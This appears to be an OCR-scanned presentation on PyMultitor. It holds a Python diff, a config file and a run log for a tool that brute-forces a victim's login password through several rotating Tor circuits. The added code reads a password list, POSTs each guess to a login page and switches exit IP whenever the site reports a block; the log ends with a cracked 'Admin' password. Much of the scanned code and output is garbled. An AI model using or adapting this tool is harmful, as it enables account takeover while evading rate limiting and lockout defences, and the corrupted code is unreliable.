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MultiTor. Py View file @ 63a96bb
12 12 from TorConfig import *
13 13 from gevent.pool import Pool
14 14 from gevent import Timeout
15 -from re import Tindall
15 +from sys import exit
16 16 from os import makedirs
17 17 from time import time as now
18 18 from requesocks import request
114 | 114 def changeIp(self, i, msg):
115 | 115 #Tor Need 16 Seconds(TOR_TIMEOUT) Difference Between Id changes
116 | 116 if (now() - self._ lastTimeIpChanged) == torCfg.TOR_TIMEOUT:
117 - print "%s\t-=\t%d) changeIP (%s)" % (self.getId(), i, msg)
117 | + print "#%s\t-=\t%s) changeIP (%s)" % (self.getId(), i, msg)
118 118
118 119 #Check IT Timedout
1ze 128 timedout = True
187 187 torid = torconn.getId()
188 188 size = len{torRange)
189 189
198 = print "ss\t-=\tstart (%d - %d)" % (torId, torRange[e], torRamge[-1])
198 + print "¥s\t-=\tStart (%¥s - %s)" % (torId, torRange[@], torRange[-1])
191 191 i=60
192 192
133 193 #Using A while Loop - For Loop Cant Move Backwards
194 194 while 1 = size:
195 195 try:
196 196 #Send Reguest
197 - req = reguest(method="GET",
198 - url="http://checkip.dyndns.org/",
197 + req = reguest(method="FOST",
198 + url="http://RealGame.co.il/multitor/",
199 | + data={'user': username, 'pass': torrRange[i], 'login': 'Login'},
199 208 timeout=torcfg.REQUEST_TIMEOUT,
288 201 headers=torcfg.HEADERS,
281 282 proxies=proxies)
288 218 ipcChanged = torconn.changeIp(torRange[i], ex)
218 | 211 continue
211 212
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#Print Result
print "ss\t-=\t%d) %s" % (torId, torrange[i], "".join(fTindall(r"[e-9]+(?:\.[@-9]+){3}", res)))

213 | + if 'Blocked' in res:
214 + torconn.changeIp(torrange[i], "IP Address Blocked!")
215 | + continue
216 + elif not (('user' in res) and ('pass' in res)):
217 |+ print "Succeed ({6} : {1}).".format(username, torRange[i])
218 + exit()
219 | + else:
220 + print "xs\t-=\t%s) Failed" % (torId, torrange[i])
221 |+
222 i+=1
223
224 #Change IP
231
232
233 | def main():
- global torcfg, torconncoll, passPhraseHash
234 + global torcfg, torconncell, passPhraseHash, passwords, username
235 +
236 + #Basic configuration
237 torcfg = BasicConfiguration()
238 +
239 | + #Enter Username
248 + username = raw_input("Please Enter victim username: ")
241 +
242 + #Passwords File
243 + passwords_file = path.join(getcwd(), "password.lst")
244 + if not path.exists(passwords_file):
245 + passwords_file = raw_input("Please Enter The Passwords File Path: ")
246 + passwords = open(passwords_file, "ru").read().splitlines()
247 +
248 + #Check Passwords File Length (Avoid corruption)
249 + passwords_length = len(passwords)
258 + if torcfg.END > passwords_length:
251 | + torcfg.END = passwords_length
252 +
253 #Force To Kill All Tor Processes
254 kill_tor_processes()
255
269 #Create The Threads Pool
278 torpool = pPool(size=torcfg.MAX_NUM_OF_THREADS)
271 for i in xrange(torcfg.START, torCfg.END, torCfg.INC):
= torpool.spawn(pool_function, range(i, i + torcfg.INC))
272 |+ torPool. spawn(pool_function, passwords[i: i + torCfg.INC])
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k torCfg.conf

[parameters]
PASS _PHRASE = lol

MAX_NUM_OF_THREADS = 4

REQUEST_TIMEOUT = 15
MAX_RETRIES = 2

CONTROL_START_PORT = 9658
SOCKS_START_PORT = 5850

START = 0
END = 480
INC = 58

edit | raw | blame history

NN7XIM DX INKRY NDINN 079 7Y XNAIT,|2mDI

Please Enter Victim Username:

Tor 5050
Tor 5050
Tor 5050
Tor 5050
Tor 5050
Tor 5051
Tor 5051
Tor 5051
Tor 5051
Tor 5051
Tor 5052
Tor 5052
Tor 5052
Tor 5052
Tor 5052
Tor_ 5053
Tor 5053
Tor 5053
Tor 5053
Tor_ 5053
Tor 5050
Tor 5051
Tor 5052
Tor_ 5053
Tor_ 5052
Tor 5050
Tor 5051
Tor 5052
Tor_ 5052
Tor 5051
Tor 5050
Tor 5052
Tor_ 5052
Tor 5051
Tor 5052
Tor 5050
Tor 5051
Tor 5050
Tor_ 5051
Tor_5050
Tor 5051
Tor 5050
Tor_ 5053
Tor 5053

Admin

=> Oct 29 00:44:37.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
-> Oct 29 00:44:39.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.
-> Oct 29 00:44:39.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.

-> Oct 29 00:44:39.000 [notice] Bootstrapped 100%: Done.

-> Up & Running!

=> Oct 29 00:44:40.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
-> Oct 29 00:44:41.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.
-> Oct 29 00:44:41.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.

-> Oct 29 00:44:42.000 [notice] Bootstrapped 100%: Done.

-> Up & Running!

=> Oct 29 00:44:43.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
-> Oct 29 00:44:44.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.
-> Oct 29 00:44:44.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.

—> Oct 29 00:44:46.000 [notice] Bootstrapped 100%: Done.

-> Up & Running!

=> Oct 29 00:44:47.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
-> Oct 29 00:44:48.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.
=3 Oct 29 00:44:49.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.

—> Oct 29 00:44:49.000 [notice] Bootstrapped 100%: Done.

-> Up & Running!

=2 Start (andrea - muffin)

—> Start (rabbit - alexander)

—> Start (matthew - pookie)

-> Start (123456 - fuckyou)

-> matthew) Failed

-> andrea) Failed

—> rabbit) Failed

—> miller) Failed

=> tiger) Failed

-> rachel) Failed

—> anna) Failed

—> trustnol) Failed

-> alex) Failed

-> rocket) Failed

—> apple) ChangeIP (IP Address Blocked!)

—> anthony) Failed

-> rose) Failed

-> asdfjkl;) Failed

-> smile) Failed

-> ashley) Failed

-> sparky) ChangeIP (IP Address Blocked!)

-> basketball) ChangelIP (IP Address Blocked!)

-> 123456) ChangeIP (Request timed out.)

-> 123456) Failed
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Tor 5053 > 12345) Failed

Tor_5053 -> password) Failed

Tor 5051 -> sparky) Failed

Tor 5050 > basketball) ChangeIP ((6, 'TTL expired'))
Tor 5053 > passwordl) Failed

Tor 5052 -> apple) ChangeIP (Request timed out.)

Tor 5051 => spring) Failed

Tor 5051 > steven) Failed

Tor 5051 > success) Failed

Tor 5053 => 123456789) Failed

Tor_ 5051 -> sunshine) Failed

Tor 5051 > victoria) ChangeIP (IP Address Blocked!)
Tor 5053 > 12345678) ChangeIP (IP Address Blocked!)
Tor 5053 => 12345678) Failed

Tor 5053 => 1234567890) Failed

Tor 5053 > abcl23) Failed

Tor 5053 > computer) Failed

Tor 5051 -> victoria) ChangeIP ((6, 'TTL expired'))
Tor 5053 -> tigger) Failed

Tor 5053 > 1234) ChangeIP (IP Address Blocked!)

Tor 5050 > basketball) ChangeIP (Request timed out.)
Tor 5052 -> apple) ChangeIP (Request timed out.)

Tor 5050 -> basketball) Failed

Tor 5050 > beavis) Failed

Tor 5050 > black) Failed

Tor 5052 -> apple) Failed

Tor 5050 -> bob) Failed

Tor_ 5050 -> booboo) Failed

Succeed (Admin : garfield).

Interrupted

Process finished with exit code 2
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My Site / Blog:

e http://RealGame.co.il

PyMultitor Source Code:

e https://github.com/realgam3/pymultitor

PyMultitor Configurable Branch:

e https://github.com/realgam3/pymultitor/tree/configurable

e  Multi Ip Threaded Tor Bruteforce - Poc :

e http://www.securitytube.net/video /6876

Multi Ip Threaded Tor Bruteforce - Poc 2:

e http://www.securitytube.net/video/7038HYPERLINK

About Tor Project:

e https://www.torproject.org/about/overview.html.en

Stem Docs (Tor Python API):

e https://stem.torproject.org

Gevent (Threading Alternative - Python Lib):

e http://www.gevent.org/

Gevent Vs Threading Comparison:

e https://github.com/zacharyvoase/gevent-threading-comparison
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